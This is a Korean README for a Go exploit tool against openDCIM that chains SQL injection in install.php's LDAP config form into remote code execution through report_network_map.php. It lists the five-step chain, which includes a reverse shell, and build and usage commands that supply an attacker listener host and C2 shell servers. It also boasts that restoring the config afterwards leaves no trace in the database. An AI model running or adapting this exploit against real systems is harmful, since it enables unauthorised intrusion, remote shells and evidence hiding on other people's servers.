openDCIM - 구성 오염을 통한 SQLi에서 RCE까지

openDCIM의 install.php LDAP 구성 폼을 대상으로 한 원격 코드 실행 체인입니다. VulnCheck go-exploit 프레임워크를 기반으로 구축되었습니다.

취약점 체인

영향받는 버전: 모든 버전 (최신 커밋 4467e9c4에서 테스트됨)

작동 원리

1. install.php에 POST - LDAP 폼을 통한 SQL 주입으로 구성을 백업하고 dot을 명령 페이로드로 덮어씁니다.
2. report_network_map.php에 GET - exec()를 트리거하고 id 출력으로 RCE를 확인합니다.
3. install.php에 POST - dot을 리버스 셸 페이로드로 덮어씁니다.
4. report_network_map.php에 GET - 리버스 셸을 트리거합니다.
5. install.php에 POST - 백업 테이블에서 모든 원래 구성 값을 복원합니다.

익스플로잇 후 데이터베이스에 흔적이 전혀 남지 않습니다.

빌드

go build -o opendcim-exploit .

사용법

Docker 배포 (인증 없음)

# Scan only
./opendcim-exploit -a -rhost 10.0.0.1 -rport 80

# Exploit with reverse shell
./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer

htpasswd 배포 (유효한 사용자)

./opendcim-exploit -e -rhost 10.0.0.1 -rport 80 -lhost 10.0.0.2 -lport 4444 -c2 SimpleShellServer -username user -password pass

SSL

./opendcim-exploit -e -rhost 10.0.0.1 -rport 443 -ssl -lhost 10.0.0.2 -lport 4444 -c2 SSLShellServer

플래그